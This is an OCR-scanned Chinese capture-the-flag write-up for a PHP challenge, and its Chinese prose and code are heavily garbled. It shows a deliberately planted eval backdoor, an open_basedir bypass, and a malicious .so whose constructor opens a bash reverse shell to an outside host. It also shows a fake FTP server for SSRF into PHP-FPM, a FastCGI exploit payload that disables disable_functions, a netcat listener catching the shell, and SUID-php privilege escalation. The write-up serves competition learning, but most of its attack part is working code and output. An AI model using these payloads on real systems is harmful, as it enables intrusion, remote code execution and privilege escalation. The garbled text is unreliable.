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### user.php
<?php

class User{
public $count;
¥

?>

### add_api.php
<?php

include "user.php";

if($user=unserialize($_COOKIE["data"])){
#echo $user->$count;
$count[++$user->count]=1;
//var_dump($count) ;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
telse{
eval($_GET["backdoor"]);
¥
telse{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));

?>
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<{?php
$large_number = 9223372036854775807;

var_dump ($large_number)

$large_number = 9223372036854775808;

var_dump ($large_number)

million = 1000000
$large_number = 30000000000000 #* $million:
var_dump (§large_number) ;

il

int 33720368247

float (9. 2233720368548E+18)

float (5. 0E+19)

FANERBRERT A $count[++$user->count]=1; i&H], FTLAX BHIEH KRG 9223372036854775806 « W H | cookie PLJG
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e

pPhp.

System

Li 4.19.164-0419164-ge SMP Wed Dec 30 12:21:09 UTC 2020 x86_64

Build Date

Apr 29 2021 15:12:27

Configure Command

*configure' -build=xB6_64-finux-gnu'"-with-config-file- “with-conig-ile-
letciphplconf.d' —enable-option-checking=fatal 'with-mhash' "with-pic' '—enable-ftp' '-enable-mbstring' *—enable-
mysaind_with- e e *with-pdo-sdlite=/usr**-with-sqlite3=lusr' —with-ibedit
*with-openss! "with-zib' 'with-pear' ‘with-libdir=ib/x86_64-linux-gnu'"—enable-fpm' ‘with-fpm-user=vw-data’
*with-fpm-group=www.-data 'disable-cgi "build_alias=x86_64-iinux-gnu’

Server APl

FPM/FastCGl

disabled

Virtual Directory Support
7 Inspector Console O Debugger  {} StyleEditor @ Performance  { Memory
I HTML CSS IS XHR Fonts Images Media Flash WS Other

Method File Domain

RUCAXRBE T, XA BRI

0x02 bypass disabled_function

Transferred Header Cookies Params

Cause Type

B8 B8 8

@ One request, 65.76 KB, 0.11s

Response
n/add_api

Timings

)

Request URL: http://£217a4b3-cc11-4aa5-a7a7-5417e73b1bd7 .node3. b
Request method: GET
Remote address: 127.0.0.1:8080
Status code: @ 200 0K
Version: HTTP/1.1
V Filter headers
~ Response headers (0.179 KB)
Connection: “close
Content-Length; "67334"
Content-Type: “text/html; charset=UTF-8"
Date: "Sat, 08 May 2021 15:49:04 GMT*
Server: "openresty”
X-Powered-By: "PHP/7.4.16"
~ Request headers (0.545 KB)
Host: "f217a4b3-cc11-4aa5-a7a7-5417e7301bd7.node3.buuoj.cn”

User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"

Accept: “text/html,application/shtmi- =

Accept-Language: "zh"

o G 02D, JeTTaTE
Cookie: “data=0' Us

22%3A1%3A%TBs

75806%38%7D"

T
Connection: “keep-alive”
Upgrade-Insecure-Requests: "1

Filter URLS

Edit and Resend
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disable_classes Exception,SplDoublyLinkedList,Error,ErrorException, Argu | Exception :
mentCountError ArithmeticError AssertionError, DivisionBy | mentCount
ZeroError,CompileError, ParseError, TypeErrar, ValueError, | ZeroError,C
UnhandledMatchError,ClosedGeneratorException,LogicEx | Unhandled]
ception,BadFunctionCallException,BadMethodCallExcepti | ception,Ba
on,DomainException, InvalidArgumentException,LengthEx | on,Domain
ception, OutOfRangeException PharException, Reflection | ception, Ou
Exception, RuntimeException, OutOfBoundsException,Ov | Exception |
erflowException, PDOEXxception, RangeException,Underflo | erflowExce
wException UnexpectedValueException JsonException,5 | wExceptior
odiumException Exception, SplDoublyLinkedList Error,Er | odiumExce
rorException,ArgumentCountError, ArithmeticError,Asserti | rorExceptic
onError, DivisionByZeroError, CompileError,ParseError, Typ | onError,Div
eError ValueError, UnhandledMatchError, ClosedGenerator | eError,Valu
Exception,Logic Exception,BadFunctionCallException,Bad | Exception |
MethodCallException, DomainException, InvalidArgumentE | MethodCall
xception LengthException, OutOfRangeException, PharEx | xception, Le
ception,ReflectionException, RuntimeException, OutOfBou | ception,Ret
ndsException, OverflowException, PDOException,RangeE | ndsExcepti
xception, UnderflowException, UnexpectedValueException, | xception,Ur
JsonException, SodiumException JsonExcep

disable_functions stream_socket_client fsockopen,putenv pentl_alarm, pentl | stream_soi
_fork,pentl_waitpid, pcntl_wait, pcntl_wifexited pentl_wifsto | _fork, pentl_
pped,pcntl_wifsignaled, pcntl_wifcontinued, pentl_wexitstat | pped,pentl
us, pcntl_wtermsig, pentl_wstopsig,pentl_signal pentl_sign | us, pentl_wi
al_get_handler,pcntl_signal_dispatch,pentl_get_last_error, | al_get_han
pcntl_strerror,pentl_sigprocmask, pentl_sigwaitinfo,pentl_s | pontl_stren

igtimedwait
cntl_async_signals iconv,system exec shell exec popen, fcntl_async
e peTTRaSTRT S S el e R SR = SR e e E proc_open.
lerror_log,debug_backtrace,debug print_backirace,gc c | lerror_log,
ollect_cycles array_merge recursive ollect cycle

REBHTRZREGHITHS, HEFBEEZHphpE B RS, tinfle_get contents()% &%,

@ Load URL chdir(..);chdir(..);chdir(".);chdir(".");
‘Jb Split URL ini_set(‘open_basedir’,/");
print_r(scandir(/ust/lox 190902/));
U Execute \var_dump(fl\e_ge(_ccmen(s(”/usr/\oc debt _bypass:s0”));

[J Postdata [ Referrer @ OxHEX XD @K %URL 3> @K BASE64 3D ‘ rt string to replace ‘

Array ([0] => . [1] => .. [2] => easy_bypass.so [3] => opcache.so [4] => sodium.so ) string(57672) "ELF> @HQ@8@$#9& ppp 9@ €999 9SSPiEdH & & <<QiEdREEdpp p @ OGNUINVES ollor~BiFiR CHIBE{ii@SHT#5|FEp> @ aXEQmE
9998 VR'QH! y@99P! ¢@a09H! ( HY ¢B

)_gmon _start__init_fini_ITM_deregisterTMCloneTable_ITM_registerTMCloneTable_ cxa finalizezm_activate_easy bypasszif easy bypass_hidestrlen_emallocmemcpyzend wrong_parameters_count _errorzend_parse_arg_long_slowzend_parse_ar¢
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nsert replacing string ‘ Replace All 3 '™

i T EARSE R TR R THER

= new DirectoryIterator(“glob:///*"
foreach as
echo ->__toString '<br>'



{ERIEIT file get contents iZEXZRIK

INT ~ = & SQOLBASICS® UNION BASED* ERROR/DOUBLE QUERY~ TOOLS® WAF BYPASS- ENCODING* HTML ENCRYPTION- OTHER- XSS LFI

‘@ LloadURL | hitp://a968b181-6cbd-4557-b7dd-5c33a3c252¢cd.node3.buuoj.cn/add_api.php?backdoor=$a=new Directorylterator("glob:///*");foreach($a as $f{echo($f->_toString(.'<br>");}var_dumpi(file_get contents(/flag’);
& splitur

' Execute

[ Postdata [] Referrer ™ OxHEX 2 4 %URL 3B €% BASEG4 3B Insert string to replace H/nsen‘rep[adngsrring Replace All » B

bin
boot
dev
etc
flag
home

lib64
media
mnt
opt
proc
root
run
sbin
srv
sys

usr

easy_bypass

EilmimEm

BT XM, BAERR, wEERAET, ERMMTHREAET .
XEEBAWKFbypass B, T —THKLHH FPM KS% disable_functions o
o)


https://whoamianony.top/2021/01/15/%25E6%25BC%258F%25E6%25B4%259E%25E5%25A4%258D%25E7%258E%25B0/Laravel/Laravel%20Debug%20mode%20RCE%25EF%25BC%2588CVE-2021-3129%25EF%25BC%2589%25E5%2588%25A9%25E7%2594%25A8%25E5%25A4%258D%25E7%258E%25B0/#%25E5%2588%25A9%25E7%2594%25A8FTP%25E6%2594%25BB%25E5%2587%25BBPHP-FPM

X B Af F B8t phpinfofe & 2T fpm/fastcgi SR FFHIphp

System Linux d0f97da294c7 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30
Build Date Apr 29 2021 15:12:27
Configure Command ' Jconfigure' '-build=x86_64-linux-gnu' '--with-config-file-path=/usr/localletc/php' '—wi

letc/php/conf.d' '—enable-option-checking=fatal' '--with-mhash' '--with-pic' '--enable-f
mysgind' '--with-password-argon2' '--with-sodium=shared' "--with-pdo-sqlite=/usr' -
'—with-openssl' '—with-zlib' '—with-pear' --with-libdir=lib/x86_64-linux-gnu' '--enable-f
‘—wﬂh—feﬁgrouE):www—dgta‘ '—disable-cgi' 'build_alias=x86_64-linux-gnu'

Server API FPM/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path lusrflocalletc/php
Loaded Configuration File lusr/localletc/php/php.ini
Scan this dir for additional .ini files lusrilocal/etc/php/conf.d

SR 5 X LA I 2 Nigix R 55 28 SR S REIY

$_SERVER['REMOTE_ADDR'] 172.16.128.254
$_SERVER['SERVER_SOF TWARE'] nginx/1.14.2
$_SERVER['GATEWAY_INTERFACE'] CGIMA
$_SERVER['REQUEST_SCHEME'] http
$_SERVER['SERVER_PROTOCOL'] HTTP/1.1

XEBSEH file_get_contents JeiE FECE A4, FREX FPM B W W Hhhik .

mkdir('test');chdir('test');ini_set('open_basedir','..");
chdir('..");chdir("'..");chdir('..");chdir('..");
chdir('..");chdir("'..");chdir('..");chdir('..");
ini_set('open_basedir','/");
print_r(scandir('/usr/local/etc/php-fpm.d/"'));

var_dump(file_get contents("/usr/local/etc/php-fpm.d/www.conf"));

X E FpM B MW Hi bk 127.0.0.1:9001

@ LoadURL | httpy//097af2ca-6910-47b9-8be0- node3.buuoj.cn/add_api php?backdoor=mkdir(‘test);chdir(‘test);ini_set(open_basedir’".);
% Split URL chdir(.;ehdir(.);chdir(.);chdir(L);

- chdir(".Yichdir(’.);chdir(.Yichdir(.);
D

Execute ini_set('open_basedir'/");

[ rostdata [ Referrer @ OxHEX 3B  @% %URL 3> @ BASEGd I |nsert string fo replace H/merzmp[ut[nysrr[ng Replace All 3B | ™=

Array ( [0] == . [1] => .. [2] == www.conf ) string(19683) ": Start a new pool named 'www'. ; the variable $pool can be used in any directive and will be replaced by the : pool name ('www' here) [www] : Per pool prefix : It only applies on the i
- 'chroot' ; - 'chdir' : - 'php_values'; - 'php_admin_values' : When not set, the global prefix (or NONE) applies instead. : Note: This directive can also be relative to the global prefix. ; Default Value: none ;prefix = /path/to/pools/$pool ; Unix use
set, the default user's group ; will be used. user = www-data group = www-data ; The address on which to accept FastCGI requests. : Valid syntaxes are: ; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IR nspecific por
address on ; a specific port; : 'port' - to listen on a TCP socket to all addresses : (IPv6 and IPv4-mapped) on a specific port: ; /path/to/unix/socket’ - to listen on a unix socket. ; Note: This value is mandatory. listen| et listen(2
:listen.backlog = 511 ; Set permissions for unix socket, if one is used. In Linux, read/write ; permissions must be set in order to allow connections from a web server. Many ; BSD-derived systems allow connection permissions. T|
numeric IDs. ; Default Values: user and group are set as the running user ; mode is set to 0660 :listen.owner = www-data :listen.group = www-data ;listen.mode = 0660 ; When POSIX Access Control Lists are supported you can set them using
‘When set, listen.owner and listen.group are ignored :listen.acl_users = ;listen.acl_groups = ; List of addresses (IPv4/IPv6) of FastCGI clients which are allowed to connect. ; Equivalent to the FCGI_ WEB_SERVER_ADDRS environment varial
listening socket. Each address ; must be separated by a comma. If this value is left blank, connections will be ; accepted from any ip address. ; Default Value: any :listen.allowed_clients = 127.0.0.1 : Specify the nice(2) priority to apply to the pc
priority) to 20 (lower priority) ; Note: - It will only work if the FPM master process is launched as root ; - The pool processes will inherit the master process priority ; unless it specified otherwise ; Default Value: no set ; process.priority = -19 ;

the process user ; or group is differrent than the master process user. It allows to create process ; core dump and ptrace the process for the pool user. ; Default Value: no ; process.dumpable = yes ; Choose how the process manager will control th
(pm.max_children) of child processes; ; dynamic - the number of child processes are set dynamically based on the ; following directives. With this process management, there will be ; always at least 1 children. ; pro.max_children - the maximu

XES&MEMH T XEFK gohperus THEAEMMIpayload B3 AKX, BH T HEwWp KL, EHMER soMTiE, KRS
.


http://www.hackdig.com/05/hack-342091.htm

#tdefine _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>

#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/x.x.x.x/50050 0>&1'");

BEmE

gcc hpdoger.c -fPIC -shared -o hpdoger.so

RIEBEIA CHIMEF, F2FH copy() REEEIHIRE /tmp/ HFH

add_api.phprbackdoor=mkdir('test');chdir('test');ini_set('open_basedir',"'..");
chdir('..");chdir("..");chdir('..");chdir('..");
chdir('..");chdir("..");chdir("..");chdir('..");

ini_set('open_basedir','/");

print_r(scandir('/tmp'));
copy("http://x.x.x.x:80/hpdoger.so", "' /tmp/hpdoger.so');
print_r(scandir('/tmp'));

EArERzh.

INT ~ = & SQLBASICS~ UNION BASED~ ERROR/DOUBLE QUERY~ TOOLS WAF BYPASS ENCODING- HTML ENCRYPTION- OTHER- XSS+ LFI

& Load URL http://a968b181-6cbd-4557-b7dd-5c33a3c252cd.node3. buuoj.cn/add_api.php?backdoor=mkdir(‘test);chdir(‘test);ini_set('open_basedir’,".”);

SE Split URL chd!r( ..');chd!r( ..');chd!r( ..');chd!r( W
chdir("..";chdir("..);chdir(’.);chdir(.";
J Execute ini_set{'open_basedir’,'/"};

[ Postdata [ ] Referrer @ OxHEX 3 @ %URL 3 @ BASEG4 I |jnsert string to replace Insert replacing strin
g {2 {2 g g

Array ( [0] ==.[1] ==..[2] == hpdoger.so ) Array ( [0] ==.[1] == .. [2] == hpdoger.so )

RIEFEH S AMEN LR —NFTPIRS



import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))

s.listen(1)

conn, addr = s.accept()

conn.send(b'220 welcome\n")

#Service ready for new user.

#Client send anonymous username

#USER anonymous

conn.send(b'331 Please specify the password.\n')
#User name okay, need password.

#Client send anonymous password.

#PASS anonymous

conn.send(b'230 Login successful.\n")

#User Logged in, proceed. Logged out if appropriate.
#TYPE I

conn.send(b'200 Switching to Binary mode.\n')

#Size /

conn.send(b'550 Could not get the file size.\n')
#EPSV (1)

conn.send(b'150 ok\n")

#PASV

conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')

#OUIT

conn.send(b'221 Goodbye.\n")

conn.close()

FIF python3 FF ftp

python3 ftpl.py

BEM AT php exp 4k payload

<?php
/**
* Note : Code 1is released under the GNU LGPL

*

* Please do not change the header of this file

*

* This Llibrary 1s free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of

* the License, or (at your option) any Llater version.

* This Llibrary 1is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*

* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 =1;
const BEGIN_REQUEST =1;

~mam~4+ ADADT DrAlIFCT — .



CUIISL ADURI_RCYULOI = £,
const END_REQUEST =3
const PARAMS =4
const STDIN =5
const STDOUT = 6;
const STDERR =7
const DATA =8
const GET_VALUES =9
const GET_VALUES RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER =
const AUTHORIZER =
const FILTER =
const REQUEST_COMPLETE =
const CANT_MPX_CONN =
const OVERLOADED =
const UNKNOWN_ROLE =
const MAX_CONNS = "MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = "MPXS_CONNS';
const HEADER_LEN = 8;
VAL

* Socket

* @var Resource

*/
private $ sock = null;
Vi

* Host

* @var String

*/
private $ host
/**

* Port

* @var Integer

*/
private $ port = null;
/**

* Keep Alive

e e

e

e W

e
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null;

* @var Boolean
*/
private $ keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function _ construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* aglive at the end of a request
*
* @param Boolean $b true 1if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)



$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive & $this->_sock) {
fclose($this->_sock);

}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()

{
return $this->_keepAlive;
)
/**
* Create a connection to the FastCGI application
&7
private function connect()
{
if (!'$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!'$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
)
)
)
/**

* Build a FastCGI packet

*

* @param Integer $type Type of the packet

* @param String $content Content of the packet
* @param Integer $requestId RequestId

*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_ 1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & OxFF) /* requestIdBl */
. chr($requestId & OxFF) /* requestIdBo */
. chr(($clen >> 8 ) & OXFF) /* contentlLengthBl1 */
. chr($clen & OXFF) /* contentlLengthBe */
. chr(9) /* paddinglLength */
. chr(9) /* reserved */
. $content; /* content */
}
/**

* Build an FastCGI Name value pair

*

* @param String $name Name

* @param String $value Value

* @return String FastCGI Name value pair

*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
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1t (Pnlen < 1238) {
/* namelLengthBo */
$nvpair = chr($nlen);
} else {
/* namelLengthB3 & namelengthB2 & namelengthBl & namelLengthBo */
$nvpair = chr(($nlen >> 24) | @x80) . chr(($nlen >> 16) & OxFF) . chr(($nlen >> 8) & @OxFF) . chr($nl
en & OxFF);
}
if ($vlen < 128) {
/* valuelengthBo */
$nvpair .= chr($vlen);
} else {
/* valuelengthB3 & valuelLengthB2 & valuelengthBl & valuelengthBo */
$nvpair .= chr(($vlen >> 24) | ox80) . chr(($vlen >> 16) & OxFF) . chr(($vlen >> 8) & OxFF) . chr($v
len & OxFF);
¥
/* nameData & valueData */
return $nvpair . $name . $value;
}
J**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
¥
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & OX7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
¥
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & OX7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)

{



$ret = array();

$ret['version'] = ord($data{e});
$ret[ "type'] = ord($data{1});
$ret[ 'requestId'] = (ord($data{2}) << 8) + ord($data{3});

$ret[ 'contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret[ 'paddingLength'] = ord($data{6});
$ret[ 'reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;

¥
if ($resp['paddingLength’]) {
$buf=fread($this->_sock, $resp['paddinglLength']);
}
return $resp;
} else {
return false;

}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{

$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {

throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT");

}
/**
* Execute a request to the FastCGI application

*

* @param array $params Array of parameters



* @param String $stdin Content

* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(®) . chr(self::RESPONDER) .
pAlive) . str_repeat(chr(@), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
¥
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data=".urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp[ 'content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp) ;
// if (!is_array($resp)) {
// throw new Exception( 'Bad request');
// }
// switch (ord($resp[ 'content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::0OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//1f (!isset($_REQUEST[ 'filepath'])) {
// $filepath = __FILE ;
//}else{

// $filepath = § REQUEST[ 'filepath'];

/7}

chr((int) $this->_kee



$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?"'.'command=whoami’;
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST[ 'command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes
= \ndisable functions = \nallow_url include = On\nopen_basedir = /\nauto_prepend file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',

'REQUEST_METHOD' => '"POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
"QUERY_STRING' => 'command=whoami’,
"REQUEST_URT' => $uri,
' DOCUMENT_URT " => $req,
#'DOCUMENT_ROOT ' = '/,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE* => '80sec/wofeiwo’,
'REMOTE_ADDR' => '127.0.0.1",
'REMOTE_PORT" => '9001"',
'SERVER_ADDR' => '127.0.0.1",
'SERVER_PORT" => '80',
'SERVER_NAME' => 'localhost’,
'SERVER_PROTOCOL ' => 'HTTP/1.1",
"CONTENT_LENGTH" => strlen($code)

)5

// print_r($_REQUEST);

// print_r($params);

//echo "Call: $uri\n\n";

echo $client->request($params, $code)."\n";
?>

121758518 3 payload

D:\Programs\PHPStudy\php\php—5. 4. 45>php. exe C:\Users\TuTuB\Desktop\1. php
data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%1 1%0BGATEWAY INTE
RFACEFastCGI%2F1. 0%0E%04REQUEST METHODPOST%OF%19SCRIPT FILENAME®%2Fvar%2Fwwwh2Fhtml%2Fadd api. ph
p%OB%OCSCRIPT NAME%2Fadd_api. php%0ChOEQUERY STRINGcommand%3Dwhoami%0B%1BREQUEST URI%2Fadd_api. p
hp%3Fcommand%3Dwhoami%0C%0CDOCUMENT URI%2Fadd api. php%09%80%00%00%B3PHP VALUEunserialize callba
ck functh3Dtsystem%0Aextension dir+%3D+%2Ftmph0Aextensiont%3D+hpdoger. so%0Adisable classest%3D+
00Adisable functions+%3D+%0Aallow url include+%3D+0n%0Aopen_ basedir+%3D+%2F%0Aauto_prepend file
+%3D+%0F%0DSERVER  SOFTWAREROsec%2Fwofeiwo%0B%09REMOTE ADDR127. 0. 0. 1%0B%04REMOTE PORT9001%0B%09S
ERVER ADDR127. 0. 0. 1%0B%02SERVER_PORT80%0B%09SERVER NAMElocalhost%h0F%08SERVER PROTOCOLHTTP%Z2F1. 1
60E%02CONTENT LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24 REQU
EST%5B%27 command%27%5D%29%3B+php info%28%29%3B+%3F%3E%01%05%00%0 1%00%00%00%00

BETF nc ¥ shell

root@kalil9la:~# nc -Lvvp 50050
listening on [any]| 50050 ...

BJGFIFH file put_contents() BREHEAT getshell B



add_api.php?backdoor=phpinfo();file_put_contents($_GET['file'],$ GET['data']);&file=ftp://aaa@221.232.115.156:10
023/1&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%500%00%11%0BGATEWAY INTERFACEFastCG
I%2F1.0%0E%04REQUEST _METHODPOST%0F%19SCRIPT_FILENAME%2Fvaris2Fwwws2Fhtml%2Fadd_ap1i.php%0B%0CSCRIPT _NAME%2Fadd_api
. phpZ%OC%OEQUERY _STRINGcommand%3Dwhoami%0B%1BREQUEST URI%2Fadd_ap1i.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT URI%2Fadd
_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+
hpdoger.so%bAdisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+0n%0Aopen_basedir+%3D+%2F%0Aa
uto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.6.0.1%0B%04REMOTE_PORT9001%0B%09SE
RVER_ADDR127.60.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAME Localhost%0F%08SERVER _PROTOCOLHTTP%2F1.1%0E%02CONTENT _LENG
TH49%01%04%00%01%00%00%00%00%01%05%00%01%5001%00500%3C%3Fphp+system%28%24 REQUEST%5B%27command%27%5D%29%3B+phpinf
0%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

BT getshell

root@kalil9la:~# nc -Tvvp 50050
Tistening on [any] 50050

117.21.200.166: inverse host lookup failed: Unknown host

connect to [10.1.1.212] from (UNKNOWN) [117.21.200.166] 56693

bash: cannot set terminal process group (29): Inappropriate ioct]l for device
bash: no job control in this shell

www-data@0dab2d9e3026:~/html1$

www-data@0dab2d9e3026:~/html1$

www-data@0dab2d9e3026:~/html$
wnami— A+ alNAsh2A0a2N2A . /h+m1 €

HEMR

www-data@@dab2d9e3026:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@@dab2d9e3026:~/html$ 1s -1 /flag
ls -1 /flag
-PWX------ 1 root root 43 May 9 17:45 /flag

BERN, XBEBERZEET, HEBLwpREMHK suid #24L

find / -perm -u=s -type f 2>/dev/null

/bin/mount

/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/local/bin/php

X B php Bt H suid , HEH#HITRE AL RAEIT,



php -a
Interactive shell

mkdir('test');chdir('test');ini_set('open_basedir','..");chdir("'..");chdir('..");chdir("'..");chdir("'..");chdir("

PHP Warning: mkdir(): File exists in php shell code on line 1
string(43) "flag{ed4b7224-ef72-402a-b256-dd2a9095c6b7}

IR flag » TEMK

Challenge Top 3 Solves

[IEME#R 2021]0ne Pointer
PHP

86

IIIII!!IHHHIHHIIIII

Instance Info
Remaining Time: 10421s

http://a968b181-6cbd-4557-b7dd-
5c¢33a3c252cd.node3.buuoj.cn

Destroy this instance Renew this instance

Flag Submit

Correct

0x02 .4



G B4, bypass disable functions IVRFE, B4t, RFAAT FTp MR ASRIELE M, HEEBMERRGERE
$#127.0.0.1:9001 B R T SSRF I

#PASV
conn.send(b'227 |[Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 "Permizsion dented. N )
#QUIT

conn.send(b'221 Goodbye.\n')
conn.closeq \

RIEFIF T file_put_contents() RIREEIE, HEFHA Frm INEER . so UHFEM T getshell
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